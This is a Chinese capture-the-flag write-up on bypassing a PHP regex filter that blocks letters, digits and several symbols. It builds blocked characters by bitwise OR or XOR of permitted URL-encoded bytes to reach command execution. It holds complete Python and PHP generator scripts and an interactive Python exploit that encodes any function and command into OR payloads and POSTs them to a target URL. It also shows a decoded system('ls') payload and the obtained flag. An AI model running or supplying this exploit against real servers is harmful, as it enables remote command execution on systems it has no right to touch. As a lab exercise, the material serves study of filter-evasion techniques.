过滤不严,命令执行
preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)
过滤掉了数字、字母以及一些符号,之前接触过的无字母 rce 是取反编码再取反,采用不可见字符去绕过正则,但是这里取反符号被过滤掉了,但是注意到或符号被放出来了,下面附上这种类型题目的相关脚本,并给出一定解释。
首先是生成可用字符的脚本,可以用 python 也可以用 php 来生成:
(1)python 可用字符生成脚本
preg 是题目的正则匹配规则,在 ASCII 可见字符范围内,先排除掉正则表达式匹配的字符,将其他可用的字符进行按位或运算,再将运算得到的可见字符,以及参与或运算结果为可见字符的组合转为 16 进制拼接 % 后写入 txt 文件。
import re
# 定义给定的正则表达式模式
preg = '[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-'
# 初始化内容字符串
content = ''
# 循环遍历ASCII码表中的所有字符对
for i in range(256):
for j in range(256):
# 如果字符i和j不匹配给定的正则表达式模式
if not (re.match(preg,chr(i),re.I) or re.match(preg,chr(j),re.I)):
# 将字符i和j进行按位或运算,得到新的字符k
k = i | j
# 如果字符k是ASCII可见字符(范围在32到126之间)
if k >= 32 and k <= 126:
# 将字符i和j转换为十六进制形式,并拼接成url编码
a = '%' + hex(i)[2:].zfill(2)
b = '%' + hex(j)[2:].zfill(2)
# 将k对应的字符和i、j转换拼接结果写入txt文件
content += (chr(k) + ' '+ a + ' ' + b + '\n')
# 打开名为'rce_or.txt'的文件,以写入模式打开,如果文件不存在则创建
f = open('rce_or.txt', 'w')
# 将生成的内容写入文件
f.write(content)
# 关闭文件
f.close()
(2)php 可用字符生成脚本(这个的生成方式可以选择或和异或操作)
<?php
//或
function orRce($par1, $par2){
$result = (urldecode($par1)|urldecode($par2));
return $result;
}
//异或
function xorRce($par1, $par2){
$result = (urldecode($par1)^urldecode($par2));
return $result;
}
//取反
function negateRce(){
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}
//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){
if ($mode!=3){
$myfile = fopen("rce.txt", "w");
$contents = "";
for ($i=0;$i<256;$i++){
for ($j=0;$j<256;$j++){
if ($i<16){
$hex_i = '0'.dechex($i);
}else{
$hex_i = dechex($i);
}
if ($j<16){
$hex_j = '0'.dechex($j);
}else{
$hex_j = dechex($j);
}
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}else{
$par1 = "%".$hex_i;
$par2 = '%'.$hex_j;
$res = '';
if ($mode==1){
$res = orRce($par1, $par2);
}else if ($mode==2){
$res = xorRce($par1, $par2);
}
if (ord($res)>=32&ord($res)<=126){
$contents=$contents.$res." ".$par1." ".$par2."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
}else{
negateRce();
}
}
generate(1,'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i');
//1代表模式,后面的是过滤规则
运行即可生成相关的可用字符:
我们大概来说下这个生成的结果的意思:以或运算为例
结果分为三个部分,最左边的是通过或运算得到的新字符,并且是经过了筛选的,都是可见字符;
另外两个以百分号开头的是来自于用于进行或运算生成新字符的,这两个字符是从正则匹配之外的 ASCII 字符中筛选出来的。
目前我大致理解为是将两个可用的字符或操作后生成了我们需要使用的但是被过滤掉的字符。但是到这里我还是不太理解这里传入 payload 的内容是如何绕过正则的,在后面的攻击脚本中我们输出具体的 payload 再分析。
利用前面生成的可用字符对进行远程命令执行(RCE)
exp 攻击脚本:
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
# os.system("php rce_or.php") # 没有将php写入环境变量需手动运行
if (len(argv) != 2):
print("=" * 50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("=" * 50)
exit(0)
url = argv[1]
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("rce.txt", "r") # 这里替换成你自己生成的可用字符文件位置
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"|\"" + s2 + "\")"
return (output)
while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:"))
data = {
'c': urllib.parse.unquote(param) # 实际题目请求的参数名,这里是c
}
r = requests.post(url, data=data)
print("\n[*] result:\n" + r.text)
在终端执行:
python 脚本名 url
读取 flag.php
拿到 flag:ctfshow{c181cfa0-4cf9-4536-8367-95f9fbba5cdd}
接下来我们输出 payload 来看看:
可以看到这里传入的内容 URL 解码后的东西都不在正则匹配中,所以不会被检测:
%13%19%13%14%05%0d %60%60%60%60%60%60
%0c%13 %60%60
正则匹配的是 URL 解码后的东西,不要觉得传入的数字会被检测到。
URL 解码后的这两部分:
("\x13\x19\x13\x14\x05\r"|"``````")("\x0c\x13"|"``")
进行或运算后得到的东西就是我们前面输入的内容:system 和 ls
也就是说它先绕过了正则匹配的检测,但是通过或运算最后又生成了正则匹配的东西。
最后再补充一个知识点:
system('ls'),('system')('ls'),(system)('ls'),('system')(ls) 都是可以执行的。